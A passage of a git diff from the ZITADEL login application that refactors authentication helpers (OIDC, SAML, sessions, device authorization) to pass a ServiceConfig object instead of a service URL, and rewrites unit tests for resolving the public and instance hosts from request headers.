+      process.env.ZITADEL_SERVICE_USER_TOKEN = "";
+
+      expect(hasServiceUserToken()).toBe(false);
+    });
+  });
+});
diff --git a/apps/login/src/lib/deployment.ts b/apps/login/src/lib/deployment.ts
new file mode 100644
index 00000000000..943a57133cf
--- /dev/null
+++ b/apps/login/src/lib/deployment.ts
@@ -0,0 +1,24 @@
+/**
+ * Checks if system user credentials are available for JWT authentication.
+ *
+ * System user authentication requires:
+ * - AUDIENCE: The API audience for JWT authentication
+ * - SYSTEM_USER_ID: The system user's ID
+ * - SYSTEM_USER_PRIVATE_KEY: The private key for JWT signing
+ *
+ * Both multi-tenant and self-hosted deployments can use system user authentication.
+ *
+ * @returns true if system user credentials are present, false otherwise
+ */
+export function hasSystemUserCredentials(): boolean {
+  return !!process.env.AUDIENCE && !!process.env.SYSTEM_USER_ID && !!process.env.SYSTEM_USER_PRIVATE_KEY;
+}
+
+/**
+ * Checks if service user token is available for authentication.
+ *
+ * @returns true if ZITADEL_SERVICE_USER_TOKEN is present, false otherwise
+ */
+export function hasServiceUserToken(): boolean {
+  return !!process.env.ZITADEL_SERVICE_USER_TOKEN;
+}
diff --git a/apps/login/src/lib/oidc.ts b/apps/login/src/lib/oidc.ts
index 8bfaa3c0f70..f1f0301da2b 100644
--- a/apps/login/src/lib/oidc.ts
+++ b/apps/login/src/lib/oidc.ts
@@ -1,25 +1,19 @@
 import { Cookie } from "@/lib/cookies";
 import { sendLoginname, SendLoginnameCommand } from "@/lib/server/loginname";
-import { createCallback, getLoginSettings } from "@/lib/zitadel";
+import { createCallback, getLoginSettings, ServiceConfig } from "@/lib/zitadel";
 import { create } from "@zitadel/client";
 import { CreateCallbackRequestSchema, SessionSchema } from "@zitadel/proto/zitadel/oidc/v2/oidc_service_pb";
 import { Session } from "@zitadel/proto/zitadel/session/v2/session_pb";
 import { isSessionValid } from "./session";
 
 type LoginWithOIDCAndSession = {
-  serviceUrl: string;
+  serviceConfig: ServiceConfig;
   authRequest: string;
   sessionId: string;
   sessions: Session[];
   sessionCookies: Cookie[];
 };
-export async function loginWithOIDCAndSession({
-  serviceUrl,
-  authRequest,
-  sessionId,
-  sessions,
-  sessionCookies,
-}: LoginWithOIDCAndSession): Promise<{ error: string } | { redirect: string }> {
+export async function loginWithOIDCAndSession({ serviceConfig, authRequest, sessionId, sessions, sessionCookies }: LoginWithOIDCAndSession): Promise<{ error: string } | { redirect: string }> {
   console.log(`Login with session: ${sessionId} and authRequest: ${authRequest}`);
 
   const selectedSession = sessions.find((s) => s.id === sessionId);
@@ -27,10 +21,7 @@ export async function loginWithOIDCAndSession({
   if (selectedSession && selectedSession.id) {
     console.log(`Found session ${selectedSession.id}`);
 
-    const isValid = await isSessionValid({
-      serviceUrl,
-      session: selectedSession,
-    });
+    const isValid = await isSessionValid({ serviceConfig, session: selectedSession });
 
     console.log("Session is valid:", isValid);
 
@@ -61,9 +52,7 @@ export async function loginWithOIDCAndSession({
       };
 
       try {
-        const { callbackUrl } = await createCallback({
-          serviceUrl,
-          req: create(CreateCallbackRequestSchema, {
+        const { callbackUrl } = await createCallback({ serviceConfig, req: create(CreateCallbackRequestSchema, {
             authRequestId: authRequest,
             callbackKind: {
               case: "session",
@@ -81,10 +70,7 @@ export async function loginWithOIDCAndSession({
         // handle already handled gracefully as these could come up if old emails with requestId are used (reset password, register emails etc.)
         console.error(error);
         if (error && typeof error === "object" && "code" in error && error?.code === 9) {
-          const loginSettings = await getLoginSettings({
-            serviceUrl,
-            organization: selectedSession.factors?.user?.organizationId,
-          });
+          const loginSettings = await getLoginSettings({ serviceConfig, organization: selectedSession.factors?.user?.organizationId });
 
           if (loginSettings?.defaultRedirectUri) {
             return { redirect: loginSettings.defaultRedirectUri };
diff --git a/apps/login/src/lib/saml.ts b/apps/login/src/lib/saml.ts
index d43c264968d..4de72d2de00 100644
--- a/apps/login/src/lib/saml.ts
+++ b/apps/login/src/lib/saml.ts
@@ -1,6 +1,6 @@
 import { Cookie } from "@/lib/cookies";
 import { sendLoginname, SendLoginnameCommand } from "@/lib/server/loginname";
-import { createResponse, getLoginSettings } from "@/lib/zitadel";
+import { createResponse, getLoginSettings, ServiceConfig } from "@/lib/zitadel";
 import { create } from "@zitadel/client";
 import { CreateResponseRequestSchema } from "@zitadel/proto/zitadel/saml/v2/saml_service_pb";
 import { Session } from "@zitadel/proto/zitadel/session/v2/session_pb";
@@ -9,7 +9,7 @@ import { v4 as uuidv4 } from "uuid";
 import { isSessionValid } from "./session";
 
 type LoginWithSAMLAndSession = {
-  serviceUrl: string;
+  serviceConfig: ServiceConfig;
   samlRequest: string;
   sessionId: string;
   sessions: Session[];
@@ -82,13 +82,7 @@ export async function getSAMLFormCookie(uid: string): Promise<string | null> {
   }
 }
 
-export async function loginWithSAMLAndSession({
-  serviceUrl,
-  samlRequest,
-  sessionId,
-  sessions,
-  sessionCookies,
-}: LoginWithSAMLAndSession): Promise<{ error: string } | { redirect: string }> {
+export async function loginWithSAMLAndSession({ serviceConfig, samlRequest, sessionId, sessions, sessionCookies }: LoginWithSAMLAndSession): Promise<{ error: string } | { redirect: string }> {
   console.log(`Login with session: ${sessionId} and samlRequest: ${samlRequest}`);
 
   const selectedSession = sessions.find((s) => s.id === sessionId);
@@ -96,10 +90,7 @@ export async function loginWithSAMLAndSession({
   if (selectedSession && selectedSession.id) {
     console.log(`Found session ${selectedSession.id}`);
 
-    const isValid = await isSessionValid({
-      serviceUrl,
-      session: selectedSession,
-    });
+    const isValid = await isSessionValid({ serviceConfig, session: selectedSession });
 
     console.log("Session is valid:", isValid);
 
@@ -129,9 +120,7 @@ export async function loginWithSAMLAndSession({
 
       // works not with _rsc request
       try {
-        const { url } = await createResponse({
-          serviceUrl,
-          req: create(CreateResponseRequestSchema, {
+        const { url } = await createResponse({ serviceConfig, req: create(CreateResponseRequestSchema, {
             samlRequestId: samlRequest,
             responseKind: {
               case: "session",
@@ -149,10 +138,7 @@ export async function loginWithSAMLAndSession({
         console.error(error);
 
         if (error && typeof error === "object" && "code" in error && error?.code === 9) {
-          const loginSettings = await getLoginSettings({
-            serviceUrl,
-            organization: selectedSession.factors?.user?.organizationId,
-          });
+          const loginSettings = await getLoginSettings({ serviceConfig, organization: selectedSession.factors?.user?.organizationId });
 
           if (loginSettings?.defaultRedirectUri) {
             return { redirect: loginSettings.defaultRedirectUri };
diff --git a/apps/login/src/lib/self.ts b/apps/login/src/lib/self.ts
index df8508c29ef..2aeacaf3378 100644
--- a/apps/login/src/lib/self.ts
+++ b/apps/login/src/lib/self.ts
@@ -3,14 +3,11 @@
 import { createUserServiceClient } from "@zitadel/client/v2";
 import { headers } from "next/headers";
 import { getSessionCookieById } from "./cookies";
-import { getServiceUrlFromHeaders } from "./service-url";
-import { createServerTransport, getSession } from "./zitadel";
-
-const myUserService = async (serviceUrl: string, sessionToken: string) => {
-  const transportPromise = await createServerTransport(
-    sessionToken,
-    serviceUrl,
-  );
+import { getServiceConfig } from "./service-url";
+import { createServerTransport, getSession, ServiceConfig } from "./zitadel";
+
+const myUserService = async (serviceConfig: ServiceConfig, sessionToken: string) => {
+  const transportPromise = await createServerTransport(sessionToken, serviceConfig);
   return createUserServiceClient(transportPromise);
 };
 
@@ -22,13 +19,11 @@ export async function setMyPassword({
   password: string;
 }) {
   const _headers = await headers();
-  const { serviceUrl } = getServiceUrlFromHeaders(_headers);
+  const { serviceConfig } = getServiceConfig(_headers);
 
   const sessionCookie = await getSessionCookieById({ sessionId });
 
-  const { session } = await getSession({
-    serviceUrl,
-    sessionId: sessionCookie.id,
+  const { session } = await getSession({ serviceConfig, sessionId: sessionCookie.id,
     sessionToken: sessionCookie.token,
   });
 
@@ -36,7 +31,7 @@ export async function setMyPassword({
     return { error: "Could not load session" };
   }
 
-  const service = await myUserService(serviceUrl, `${sessionCookie.token}`);
+  const service = await myUserService(serviceConfig, `${sessionCookie.token}`);
 
   if (!session?.factors?.user?.id) {
     return { error: "No user id found in session" };
diff --git a/apps/login/src/lib/server/auth-flow.ts b/apps/login/src/lib/server/auth-flow.ts
index 5e0bdd0bf5d..369db766b6b 100644
--- a/apps/login/src/lib/server/auth-flow.ts
+++ b/apps/login/src/lib/server/auth-flow.ts
@@ -3,8 +3,8 @@
 import { getAllSessions } from "@/lib/cookies";
 import { loginWithOIDCAndSession } from "@/lib/oidc";
 import { loginWithSAMLAndSession } from "@/lib/saml";
-import { getServiceUrlFromHeaders } from "@/lib/service-url";
-import { listSessions } from "@/lib/zitadel";
+import { getServiceConfig } from "@/lib/service-url";
+import { listSessions, ServiceConfig } from "@/lib/zitadel";
 import { Session } from "@zitadel/proto/zitadel/session/v2/session_pb";
 import { headers } from "next/headers";
 
@@ -14,10 +14,8 @@ export interface AuthFlowParams {
   organization?: string;
 }
 
-async function loadSessions({ serviceUrl, ids }: { serviceUrl: string; ids: string[] }): Promise<Session[]> {
-  const response = await listSessions({
-    serviceUrl,
-    ids: ids.filter((id: string | undefined) => !!id),
+async function loadSessions({ serviceConfig, ids }: { serviceConfig: ServiceConfig; ids: string[] }): Promise<Session[]> {
+  const response = await listSessions({ serviceConfig, ids: ids.filter((id: string | undefined) => !!id),
   });
 
   return response?.sessions ?? [];
@@ -33,21 +31,19 @@ export async function completeAuthFlow(command: AuthFlowParams): Promise<{ error
   const { sessionId, requestId } = command;
 
   const _headers = await headers();
-  const { serviceUrl } = getServiceUrlFromHeaders(_headers);
+  const { serviceConfig } = getServiceConfig(_headers);
 
   const sessionCookies = await getAllSessions();
   const ids = sessionCookies.map((s) => s.id);
   let sessions: Session[] = [];
 
   if (ids && ids.length) {
-    sessions = await loadSessions({ serviceUrl, ids });
+    sessions = await loadSessions({ serviceConfig, ids });
   }
 
   if (requestId.startsWith("oidc_")) {
     // Complete OIDC flow
-    const result = await loginWithOIDCAndSession({
-      serviceUrl,
-      authRequest: requestId.replace("oidc_", ""),
+    const result = await loginWithOIDCAndSession({ serviceConfig, authRequest: requestId.replace("oidc_", ""),
       sessionId,
       sessions,
       sessionCookies,
@@ -62,9 +58,7 @@ export async function completeAuthFlow(command: AuthFlowParams): Promise<{ error
     return result;
   } else if (requestId.startsWith("saml_")) {
     // Complete SAML flow
-    const result = await loginWithSAMLAndSession({
-      serviceUrl,
-      samlRequest: requestId.replace("saml_", ""),
+    const result = await loginWithSAMLAndSession({ serviceConfig, samlRequest: requestId.replace("saml_", ""),
       sessionId,
       sessions,
       sessionCookies,
diff --git a/apps/login/src/lib/server/cookie.ts b/apps/login/src/lib/server/cookie.ts
index 37c3edd3c2c..abd1025c3f6 100644
--- a/apps/login/src/lib/server/cookie.ts
+++ b/apps/login/src/lib/server/cookie.ts
@@ -14,7 +14,7 @@ import { Challenges, RequestChallenges } from "@zitadel/proto/zitadel/session/v2
 import { Session } from "@zitadel/proto/zitadel/session/v2/session_pb";
 import { Checks } from "@zitadel/proto/zitadel/session/v2/session_service_pb";
 import { headers } from "next/headers";
-import { getServiceUrlFromHeaders } from "../service-url";
+import { getServiceConfig } from "../service-url";
 
 type CustomCookieData = {
   id: string;
@@ -46,7 +46,7 @@ export async function createSessionAndUpdateCookie(command: {
   lifetime?: Duration;
 }): Promise<Session> {
   const _headers = await headers();
-  const { serviceUrl } = getServiceUrlFromHeaders(_headers);
+  const { serviceConfig } = getServiceConfig(_headers);
 
   let sessionLifetime = command.lifetime;
 
@@ -59,16 +59,12 @@ export async function createSessionAndUpdateCookie(command: {
     } as Duration; // for usecases where the lifetime is not specified (user discovery)
   }
 
-  const createdSession = await createSessionFromChecks({
-    serviceUrl,
-    checks: command.checks,
+  const createdSession = await createSessionFromChecks({ serviceConfig, checks: command.checks,
     lifetime: sessionLifetime,
   });
 
   if (createdSession) {
-    return getSession({
-      serviceUrl,
-      sessionId: createdSession.sessionId,
+    return getSession({ serviceConfig, sessionId: createdSession.sessionId,
       sessionToken: createdSession.sessionToken,
     }).then(async (response) => {
       if (response?.session && response.session?.factors?.user?.loginName) {
@@ -89,7 +85,7 @@ export async function createSessionAndUpdateCookie(command: {
           sessionCookie.organization = response.session.factors.user.organizationId;
         }
 
-        const securitySettings = await getSecuritySettings({ serviceUrl });
+        const securitySettings = await getSecuritySettings({ serviceConfig });
         const iFrameEnabled = !!securitySettings?.embeddedIframe?.enabled;
 
         await addSessionToCookie({ session: sessionCookie, iFrameEnabled });
@@ -119,7 +115,7 @@ export async function createSessionForIdpAndUpdateCookie({
   lifetime?: Duration;
 }): Promise<Session> {
   const _headers = await headers();
-  const { serviceUrl } = getServiceUrlFromHeaders(_headers);
+  const { serviceConfig } = getServiceConfig(_headers);
 
   let sessionLifetime = lifetime;
 
@@ -132,9 +128,7 @@ export async function createSessionForIdpAndUpdateCookie({
     } as Duration;
   }
 
-  const createdSession = await createSessionForUserIdAndIdpIntent({
-    serviceUrl,
-    userId,
+  const createdSession = await createSessionForUserIdAndIdpIntent({ serviceConfig, userId,
     idpIntent,
     lifetime: sessionLifetime,
   }).catch((error: ErrorDetail | CredentialsCheckError) => {
@@ -152,9 +146,7 @@ export async function createSessionForIdpAndUpdateCookie({
     throw "Could not create session";
   }
 
-  const { session } = await getSession({
-    serviceUrl,
-    sessionId: createdSession.sessionId,
+  const { session } = await getSession({ serviceConfig, sessionId: createdSession.sessionId,
     sessionToken: createdSession.sessionToken,
   });
 
@@ -180,7 +172,7 @@ export async function createSessionForIdpAndUpdateCookie({
     sessionCookie.organization = session.factors.user.organizationId;
   }
 
-  const securitySettings = await getSecuritySettings({ serviceUrl });
+  const securitySettings = await getSecuritySettings({ serviceConfig });
   const iFrameEnabled = !!securitySettings?.embeddedIframe?.enabled;
 
   return addSessionToCookie({ session: sessionCookie, iFrameEnabled }).then(() => {
@@ -200,11 +192,9 @@ export async function setSessionAndUpdateCookie(command: {
   lifetime: Duration;
 }) {
   const _headers = await headers();
-  const { serviceUrl } = getServiceUrlFromHeaders(_headers);
+  const { serviceConfig } = getServiceConfig(_headers);
 
-  return setSession({
-    serviceUrl,
-    sessionId: command.recentCookie.id,
+  return setSession({ serviceConfig, sessionId: command.recentCookie.id,
     sessionToken: command.recentCookie.token,
     challenges: command.challenges,
     checks: command.checks,
@@ -227,9 +217,7 @@ export async function setSessionAndUpdateCookie(command: {
           sessionCookie.requestId = command.requestId;
         }
 
-        return getSession({
-          serviceUrl,
-          sessionId: sessionCookie.id,
+        return getSession({ serviceConfig, sessionId: sessionCookie.id,
           sessionToken: sessionCookie.token,
         }).then(async (response) => {
           if (!response?.session || !response.session.factors?.user?.loginName) {
@@ -252,7 +240,7 @@ export async function setSessionAndUpdateCookie(command: {
             newCookie.requestId = sessionCookie.requestId;
           }
 
-          const securitySettings = await getSecuritySettings({ serviceUrl });
+          const securitySettings = await getSecuritySettings({ serviceConfig });
           const iFrameEnabled = !!securitySettings?.embeddedIframe?.enabled;
 
           return updateSessionCookie({
diff --git a/apps/login/src/lib/server/device.ts b/apps/login/src/lib/server/device.ts
index 5e36facfc8a..70442d10ab6 100644
--- a/apps/login/src/lib/server/device.ts
+++ b/apps/login/src/lib/server/device.ts
@@ -2,19 +2,17 @@
 
 import { authorizeOrDenyDeviceAuthorization } from "@/lib/zitadel";
 import { headers } from "next/headers";
-import { getServiceUrlFromHeaders } from "../service-url";
+import { getServiceConfig } from "../service-url";
 
 export async function completeDeviceAuthorization(
   deviceAuthorizationId: string,
   session?: { sessionId: string; sessionToken: string },
 ) {
   const _headers = await headers();
-  const { serviceUrl } = getServiceUrlFromHeaders(_headers);
+  const { serviceConfig } = getServiceConfig(_headers);
 
   // without the session, device auth request is denied
-  return authorizeOrDenyDeviceAuthorization({
-    serviceUrl,
-    deviceAuthorizationId,
+  return authorizeOrDenyDeviceAuthorization({ serviceConfig, deviceAuthorizationId,
     session,
   });
 }
diff --git a/apps/login/src/lib/server/flow-initiation.ts b/apps/login/src/lib/server/flow-initiation.ts
index ab747d1cfd1..48349557fc8 100644
--- a/apps/login/src/lib/server/flow-initiation.ts
+++ b/apps/login/src/lib/server/flow-initiation.ts
@@ -9,6 +9,7 @@ import {
   getSAMLRequest,
   getSecuritySettings,
   startIdentityProviderFlow,
+  ServiceConfig,
 } from "@/lib/zitadel";
 import { sendLoginname, SendLoginnameCommand } from "@/lib/server/loginname";
 import { idpTypeToSlug } from "@/lib/idp";
@@ -47,7 +48,7 @@ const gotoAccounts = ({
 };
 
 export interface FlowInitiationParams {
-  serviceUrl: string;
+  serviceConfig: ServiceConfig;
   requestId: string;
   sessions: Session[];
   sessionCookies: any[];
@@ -58,11 +59,9 @@ export interface FlowInitiationParams {
  * Handle OIDC flow initiation
  */
 export async function handleOIDCFlowInitiation(params: FlowInitiationParams): Promise<NextResponse> {
-  const { serviceUrl, requestId, sessions, sessionCookies, request } = params;
+  const { serviceConfig, requestId, sessions, sessionCookies, request } = params;
 
-  const { authRequest } = await getAuthRequest({
-    serviceUrl,
-    authRequestId: requestId.replace("oidc_", ""),
+  const { authRequest } = await getAuthRequest({ serviceConfig, authRequestId: requestId.replace("oidc_", ""),
   });
 
   let organization = "";
@@ -85,9 +84,7 @@ export async function handleOIDCFlowInitiation(params: FlowInitiationParams): Pr
 
         console.log("Extracted org domain:", orgDomain);
         if (orgDomain) {
-          const orgs = await getOrgsByDomain({
-            serviceUrl,
-            domain: orgDomain,
+          const orgs = await getOrgsByDomain({ serviceConfig, domain: orgDomain,
           });
 
           if (orgs.result && orgs.result.length === 1) {
@@ -102,9 +99,7 @@ export async function handleOIDCFlowInitiation(params: FlowInitiationParams): Pr
       const matched = IDP_SCOPE_REGEX.exec(idpScope);
       idpId = matched?.[1] ?? "";
 
-      const identityProviders = await getActiveIdentityProviders({
-        serviceUrl,
-        orgId: organization ? organization : undefined,
+      const identityProviders = await getActiveIdentityProviders({ serviceConfig, orgId: organization ? organization : undefined,
       }).then((resp) => {
         return resp.identityProviders;
       });
@@ -137,9 +132,7 @@ export async function handleOIDCFlowInitiation(params: FlowInitiationParams): Pr
           params.set("organization", organization);
         }
 
-        let url: string | null = await startIdentityProviderFlow({
-          serviceUrl,
-          idpId,
+        let url: string | null = await startIdentityProviderFlow({ serviceConfig, idpId,
           urls: {
             successUrl: `${origin}/idp/${provider}/process?` + new URLSearchParams(params),
             failureUrl: `${origin}/idp/${provider}/failure?` + new URLSearchParams(params),
@@ -215,13 +208,9 @@ export async function handleOIDCFlowInitiation(params: FlowInitiationParams): Pr
       }
       return NextResponse.redirect(loginNameUrl);
     } else if (authRequest.prompt.includes(Prompt.NONE)) {
-      const securitySettings = await getSecuritySettings({
-        serviceUrl,
-      });
+      const securitySettings = await getSecuritySettings({ serviceConfig, });
 
-      const selectedSession = await findValidSession({
-        serviceUrl,
-        sessions,
+      const selectedSession = await findValidSession({ serviceConfig, sessions,
         authRequest,
       });
 
@@ -251,9 +240,7 @@ export async function handleOIDCFlowInitiation(params: FlowInitiationParams): Pr
         sessionToken: cookie.token,
       };
 
-      const { callbackUrl } = await createCallback({
-        serviceUrl,
-        req: create(CreateCallbackRequestSchema, {
+      const { callbackUrl } = await createCallback({ serviceConfig, req: create(CreateCallbackRequestSchema, {
           authRequestId: requestId.replace("oidc_", ""),
           callbackKind: {
             case: "session",
@@ -275,9 +262,7 @@ export async function handleOIDCFlowInitiation(params: FlowInitiationParams): Pr
 
       return callbackResponse;
     } else {
-      let selectedSession = await findValidSession({
-        serviceUrl,
-        sessions,
+      let selectedSession = await findValidSession({ serviceConfig, sessions,
         authRequest,
       });
 
@@ -305,9 +290,7 @@ export async function handleOIDCFlowInitiation(params: FlowInitiationParams): Pr
       };
 
       try {
-        const { callbackUrl } = await createCallback({
-          serviceUrl,
-          req: create(CreateCallbackRequestSchema, {
+        const { callbackUrl } = await createCallback({ serviceConfig, req: create(CreateCallbackRequestSchema, {
             authRequestId: requestId.replace("oidc_", ""),
             callbackKind: {
               case: "session",
@@ -359,11 +342,9 @@ export async function handleOIDCFlowInitiation(params: FlowInitiationParams): Pr
  * Handle SAML flow initiation
  */
 export async function handleSAMLFlowInitiation(params: FlowInitiationParams): Promise<NextResponse> {
-  const { serviceUrl, requestId, sessions, sessionCookies, request } = params;
+  const { serviceConfig, requestId, sessions, sessionCookies, request } = params;
 
-  const { samlRequest } = await getSAMLRequest({
-    serviceUrl,
-    samlRequestId: requestId.replace("saml_", ""),
+  const { samlRequest } = await getSAMLRequest({ serviceConfig, samlRequestId: requestId.replace("saml_", ""),
   });
 
   if (!samlRequest) {
@@ -378,9 +359,7 @@ export async function handleSAMLFlowInitiation(params: FlowInitiationParams): Pr
   }
 
   // Try to find a valid session
-  let selectedSession = await findValidSession({
-    serviceUrl,
-    sessions,
+  let selectedSession = await findValidSession({ serviceConfig, sessions,
     samlRequest,
   });
 
@@ -410,9 +389,7 @@ export async function handleSAMLFlowInitiation(params: FlowInitiationParams): Pr
   };
 
   try {
-    const { url, binding } = await createResponse({
-      serviceUrl,
-      req: create(CreateResponseRequestSchema, {
+    const { url, binding } = await createResponse({ serviceConfig, req: create(CreateResponseRequestSchema, {
         samlRequestId: requestId.replace("saml_", ""),
         responseKind: {
           case: "session",
diff --git a/apps/login/src/lib/server/host.test.ts b/apps/login/src/lib/server/host.test.ts
index dfd0a04a524..941ac1755cb 100644
--- a/apps/login/src/lib/server/host.test.ts
+++ b/apps/login/src/lib/server/host.test.ts
@@ -1,10 +1,5 @@
 import { describe, expect, test, vi, beforeEach, afterEach } from "vitest";
-import { getOriginalHost, getOriginalHostWithProtocol } from "./host";
-
-// Mock the Next.js headers function
-vi.mock("next/headers", () => ({
-  headers: vi.fn(),
-}));
+import { getInstanceHost, getPublicHostWithProtocol, getPublicHost } from "./host";
 
 describe("Host utility functions", () => {
   beforeEach(() => {
@@ -15,151 +10,94 @@ describe("Host utility functions", () => {
     vi.restoreAllMocks();
   });
 
-  describe("getOriginalHost", () => {
-    test("should return x-forwarded-host when available", async () => {
-      const { headers } = await import("next/headers");
+  describe("getInstanceHost", () => {
+    test("should use x-zitadel-instance-host when available", () => {
       const mockHeaders = {
         get: vi.fn((key: string) => {
-          if (key === "x-forwarded-host") return "zitadel.com";
-          if (key === "x-original-host") return "backup.com";
-          if (key === "host") return "internal.vercel.app";
+          if (key === "x-zitadel-instance-host") return "instance.zitadel.cloud";
+          if (key === "x-zitadel-forward-host") return "forward.zitadel.cloud";
           return null;
         }),
-      };
+      } as any;
 
-      vi.mocked(headers).mockResolvedValue(mockHeaders as any);
-
-      const result = await getOriginalHost();
-      expect(result).toBe("zitadel.com");
-      expect(mockHeaders.get).toHaveBeenCalledWith("x-forwarded-host");
+      const result = getInstanceHost(mockHeaders);
+      expect(result).toBe("instance.zitadel.cloud");
+      expect(mockHeaders.get).toHaveBeenCalledWith("x-zitadel-instance-host");
     });
 
-    test("should fall back to x-original-host when x-forwarded-host is not available", async () => {
-      const { headers } = await import("next/headers");
+    test("should use x-zitadel-forward-host when x-zitadel-instance-host is not available", () => {
       const mockHeaders = {
         get: vi.fn((key: string) => {
-          if (key === "x-forwarded-host") return null;
-          if (key === "x-original-host") return "original.com";
-          if (key === "host") return "internal.vercel.app";
+          if (key === "x-zitadel-instance-host") return null;
+          if (key === "x-zitadel-forward-host") return "forward.zitadel.cloud";
           return null;
         }),
-      };
-
-      vi.mocked(headers).mockResolvedValue(mockHeaders as any);
+      } as any;
 
-      const result = await getOriginalHost();
-      expect(result).toBe("original.com");
-      expect(mockHeaders.get).toHaveBeenCalledWith("x-forwarded-host");
-      expect(mockHeaders.get).toHaveBeenCalledWith("x-original-host");
+      const result = getInstanceHost(mockHeaders);
+      expect(result).toBe("forward.zitadel.cloud");
+      expect(mockHeaders.get).toHaveBeenCalledWith("x-zitadel-instance-host");
+      expect(mockHeaders.get).toHaveBeenCalledWith("x-zitadel-forward-host");
     });
 
-    test("should fall back to host when forwarded headers are not available", async () => {
-      const { headers } = await import("next/headers");
+    test("should return null when neither x-zitadel-instance-host nor x-zitadel-forward-host are available", () => {
       const mockHeaders = {
         get: vi.fn((key: string) => {
-          if (key === "x-forwarded-host") return null;
-          if (key === "x-original-host") return null;
-          if (key === "host") return "fallback.com";
+          if (key === "x-zitadel-instance-host") return null;
+          if (key === "x-zitadel-forward-host") return null;
+          if (key === "x-forwarded-host") return "accounts.mycompany.com";
+          if (key === "host") return "internal.server";
           return null;
         }),
-      };
-
-      vi.mocked(headers).mockResolvedValue(mockHeaders as any);
-
-      const result = await getOriginalHost();
-      expect(result).toBe("fallback.com");
-      expect(mockHeaders.get).toHaveBeenCalledWith("x-forwarded-host");
-      expect(mockHeaders.get).toHaveBeenCalledWith("x-original-host");
-      expect(mockHeaders.get).toHaveBeenCalledWith("host");
-    });
-
-    test("should throw error when no host is found", async () => {
-      const { headers } = await import("next/headers");
-      const mockHeaders = {
-        get: vi.fn(() => null),
-      };
-
-      vi.mocked(headers).mockResolvedValue(mockHeaders as any);
-
-      await expect(getOriginalHost()).rejects.toThrow("No host found in headers");
-    });
+      } as any;
 
-    test("should throw error when host is empty string", async () => {
-      const { headers } = await import("next/headers");
-      const mockHeaders = {
-        get: vi.fn(() => ""),
-      };
-
-      vi.mocked(headers).mockResolvedValue(mockHeaders as any);
-
-      await expect(getOriginalHost()).rejects.toThrow("No host found in headers");
-    });
-
-    test("should throw error when host is not a string", async () => {
-      const { headers } = await import("next/headers");
-      const mockHeaders = {
-        get: vi.fn(() => 123),
-      };
-
-      vi.mocked(headers).mockResolvedValue(mockHeaders as any);
-
-      await expect(getOriginalHost()).rejects.toThrow("No host found in headers");
+      const result = getInstanceHost(mockHeaders);
+      expect(result).toBeNull();
+      expect(mockHeaders.get).toHaveBeenCalledWith("x-zitadel-instance-host");
+      expect(mockHeaders.get).toHaveBeenCalledWith("x-zitadel-forward-host");
     });
   });
 
-  describe("getOriginalHostWithProtocol", () => {
-    test("should return https for production domain", async () => {
-      const { headers } = await import("next/headers");
+  describe("getPublicHostWithProtocol", () => {
+    test("should return https for production domain", () => {
       const mockHeaders = {
         get: vi.fn(() => "zitadel.com"),
-      };
-
-      vi.mocked(headers).mockResolvedValue(mockHeaders as any);
+      } as any;
 
-      const result = await getOriginalHostWithProtocol();
+      const result = getPublicHostWithProtocol(mockHeaders);
       expect(result).toBe("https://zitadel.com");
     });
 
-    test("should return http for localhost", async () => {
-      const { headers } = await import("next/headers");
+    test("should return http for localhost", () => {
       const mockHeaders = {
         get: vi.fn(() => "localhost:3000"),
-      };
+      } as any;
 
-      vi.mocked(headers).mockResolvedValue(mockHeaders as any);
-
-      const result = await getOriginalHostWithProtocol();
+      const result = getPublicHostWithProtocol(mockHeaders);
       expect(result).toBe("http://localhost:3000");
     });
 
-    test("should return http for localhost without port", async () => {
-      const { headers } = await import("next/headers");
+    test("should return http for localhost without port", () => {
       const mockHeaders = {
         get: vi.fn(() => "localhost"),
-      };
-
-      vi.mocked(headers).mockResolvedValue(mockHeaders as any);
+      } as any;
 
-      const result = await getOriginalHostWithProtocol();
+      const result = getPublicHostWithProtocol(mockHeaders);
       expect(result).toBe("http://localhost");
     });
 
-    test("should return https for custom domain", async () => {
-      const { headers } = await import("next/headers");
+    test("should return https for custom domain", () => {
       const mockHeaders = {
         get: vi.fn(() => "auth.company.com"),
-      };
+      } as any;
 
-      vi.mocked(headers).mockResolvedValue(mockHeaders as any);
-
-      const result = await getOriginalHostWithProtocol();
+      const result = getPublicHostWithProtocol(mockHeaders);
       expect(result).toBe("https://auth.company.com");
     });
   });
 
   describe("Real-world scenarios", () => {
-    test("should handle Vercel rewrite scenario", async () => {
-      const { headers } = await import("next/headers");
+    test("should handle Vercel rewrite scenario", () => {
       const mockHeaders = {
         get: vi.fn((key: string) => {
           // Simulate Vercel rewrite: zitadel.com/login -> login-zitadel-qa.vercel.app
@@ -167,16 +105,13 @@ describe("Host utility functions", () => {
           if (key === "host") return "login-zitadel-qa.vercel.app";
           return null;
         }),
-      };
-
-      vi.mocked(headers).mockResolvedValue(mockHeaders as any);
+      } as any;
 
-      const result = await getOriginalHostWithProtocol();
+      const result = getPublicHostWithProtocol(mockHeaders);
       expect(result).toBe("https://zitadel.com");
     });
 
-    test("should handle CloudFlare proxy scenario", async () => {
-      const { headers } = await import("next/headers");
+    test("should handle CloudFlare proxy scenario", () => {
       const mockHeaders = {
         get: vi.fn((key: string) => {
           if (key === "x-forwarded-host") return "auth.company.com";
@@ -184,114 +119,180 @@ describe("Host utility functions", () => {
           if (key === "host") return "cloudflare-worker.workers.dev";
           return null;
         }),
-      };
-
-      vi.mocked(headers).mockResolvedValue(mockHeaders as any);
+      } as any;
 
-      const result = await getOriginalHost();
+      const result = getPublicHost(mockHeaders);
       expect(result).toBe("auth.company.com");
     });
 
-    test("should handle development environment", async () => {
-      const { headers } = await import("next/headers");
+    test("should handle development environment", () => {
       const mockHeaders = {
         get: vi.fn((key: string) => {
           if (key === "host") return "localhost:3000";
           return null;
         }),
-      };
+      } as any;
 
-      vi.mocked(headers).mockResolvedValue(mockHeaders as any);
-
-      const result = await getOriginalHostWithProtocol();
+      const result = getPublicHostWithProtocol(mockHeaders);
       expect(result).toBe("http://localhost:3000");
     });
 
-    test("should handle staging environment with subdomain", async () => {
-      const { headers } = await import("next/headers");
+    test("should handle staging environment with subdomain", () => {
       const mockHeaders = {
         get: vi.fn((key: string) => {
           if (key === "x-forwarded-host") return "staging-auth.company.com";
           if (key === "host") return "staging-internal.vercel.app";
           return null;
         }),
-      };
-
-      vi.mocked(headers).mockResolvedValue(mockHeaders as any);
+      } as any;
 
-      const result = await getOriginalHostWithProtocol();
+      const result = getPublicHostWithProtocol(mockHeaders);
       expect(result).toBe("https://staging-auth.company.com");
     });
+
+    test("should prioritize x-zitadel-instance-host in multi-tenant scenario", () => {
+      const mockHeaders = {
+        get: vi.fn((key: string) => {
